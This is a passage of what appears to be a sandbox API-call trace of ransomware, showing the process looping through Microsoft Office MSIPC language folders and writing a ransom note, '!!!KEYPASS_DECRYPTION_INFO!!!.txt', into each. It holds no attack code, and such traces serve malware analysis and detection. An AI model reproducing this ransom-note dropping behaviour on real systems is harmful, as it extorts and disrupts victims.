lpMsg=0x2e4e688) returned 0 [0259.241] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.241] GetLastError () returned 0x3f0 [0259.241] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.242] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\lt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaf4 [0259.242] GetFileType (hFile=0xaf4) returned 0x1 [0259.242] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.242] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.243] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.243] WriteFile (in: hFile=0xaf4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.243] WriteFile (in: hFile=0xaf4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.243] CloseHandle (hObject=0xaf4) returned 1 [0259.244] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lt\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876780 [0259.244] FindNextFileW (in: hFindFile=0x3876780, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.244] FindNextFileW (in: hFindFile=0x3876780, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.244] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.244] FindNextFileW (in: hFindFile=0x3876780, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.244] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lt\\msipc.dll.mui") returned=".mui" [0259.244] FindNextFileW (in: hFindFile=0x3876780, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.244] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.244] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.244] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.244] GetLastError () returned 0x3f0 [0259.244] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.244] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\lv\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaf8 [0259.245] GetFileType (hFile=0xaf8) returned 0x1 [0259.245] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.245] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.245] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.245] WriteFile (in: hFile=0xaf8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.245] WriteFile (in: hFile=0xaf8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.245] CloseHandle (hObject=0xaf8) returned 1 [0259.246] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lv\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x38767c0 [0259.246] FindNextFileW (in: hFindFile=0x38767c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.246] FindNextFileW (in: hFindFile=0x38767c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.246] FindNextFileW (in: hFindFile=0x38767c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lv\\msipc.dll.mui") returned=".mui" [0259.246] FindNextFileW (in: hFindFile=0x38767c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.246] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.246] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.246] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.246] GetLastError () returned 0x3f0 [0259.246] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ms\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.246] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\ms\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xafc [0259.247] GetFileType (hFile=0xafc) returned 0x1 [0259.247] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.247] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.247] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.247] WriteFile (in: hFile=0xafc, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.248] WriteFile (in: hFile=0xafc, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.248] CloseHandle (hObject=0xafc) returned 1 [0259.248] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ms\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876800 [0259.249] FindNextFileW (in: hFindFile=0x3876800, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.249] FindNextFileW (in: hFindFile=0x3876800, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.249] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.249] FindNextFileW (in: hFindFile=0x3876800, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.249] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ms\\msipc.dll.mui") returned=".mui" [0259.249] FindNextFileW (in: hFindFile=0x3876800, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.249] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.249] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\msipc.dll") returned=".dll" [0259.249] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.249] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\MSIPCEvents.man") returned=".man" [0259.249] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.249] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.249] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.249] GetLastError () returned 0x3f0 [0259.249] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\nl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.249] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\nl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb04 [0259.251] GetFileType (hFile=0xb04) returned 0x1 [0259.251] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.251] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.251] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.251] WriteFile (in: hFile=0xb04, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.252] WriteFile (in: hFile=0xb04, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.252] CloseHandle (hObject=0xb04) returned 1 [0259.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\nl\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876880 [0259.252] FindNextFileW (in: hFindFile=0x3876880, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.252] FindNextFileW (in: hFindFile=0x3876880, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.252] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.252] FindNextFileW (in: hFindFile=0x3876880, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.252] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\nl\\msipc.dll.mui") returned=".mui" [0259.252] FindNextFileW (in: hFindFile=0x3876880, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.252] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.252] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.253] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.253] GetLastError () returned 0x3f0 [0259.253] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\no\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.253] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\no\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb08 [0259.254] GetFileType (hFile=0xb08) returned 0x1 [0259.254] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.254] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.254] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.254] WriteFile (in: hFile=0xb08, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.255] WriteFile (in: hFile=0xb08, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.255] CloseHandle (hObject=0xb08) returned 1 [0259.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\no\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x38769c0 [0259.255] FindNextFileW (in: hFindFile=0x38769c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.255] FindNextFileW (in: hFindFile=0x38769c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.255] FindNextFileW (in: hFindFile=0x38769c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\no\\msipc.dll.mui") returned=".mui" [0259.255] FindNextFileW (in: hFindFile=0x38769c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.255] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.255] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.255] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.255] GetLastError () returned 0x3f0 [0259.255] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.256] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\pl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0c [0259.256] GetFileType (hFile=0xb0c) returned 0x1 [0259.256] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.256] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.256] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.256] WriteFile (in: hFile=0xb0c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.257] WriteFile (in: hFile=0xb0c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.257] CloseHandle (hObject=0xb0c) returned 1 [0259.258] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pl\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x38768c0 [0259.258] FindNextFileW (in: hFindFile=0x38768c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.258] FindNextFileW (in: hFindFile=0x38768c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.258] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.258] FindNextFileW (in: hFindFile=0x38768c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.258] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pl\\msipc.dll.mui") returned=".mui" [0259.258] FindNextFileW (in: hFindFile=0x38768c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.258] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.258] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.258] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.258] GetLastError () returned 0x3f0 [0259.258] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.258] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\pt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb10 [0259.259] GetFileType (hFile=0xb10) returned 0x1 [0259.259] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.259] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.260] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.260] WriteFile (in: hFile=0xb10, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.260] WriteFile (in: hFile=0xb10, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.260] CloseHandle (hObject=0xb10) returned 1 [0259.261] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876900 [0259.261] FindNextFileW (in: hFindFile=0x3876900, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.261] FindNextFileW (in: hFindFile=0x3876900, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.261] FindNextFileW (in: hFindFile=0x3876900, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt\\msipc.dll.mui") returned=".mui" [0259.261] FindNextFileW (in: hFindFile=0x3876900, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.261] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.261] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.261] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.261] GetLastError () returned 0x3f0 [0259.261] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt-BR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.261] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\pt-br\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb14 [0259.262] GetFileType (hFile=0xb14) returned 0x1 [0259.263] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.263] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.263] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.263] WriteFile (in: hFile=0xb14, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.264] WriteFile (in: hFile=0xb14, 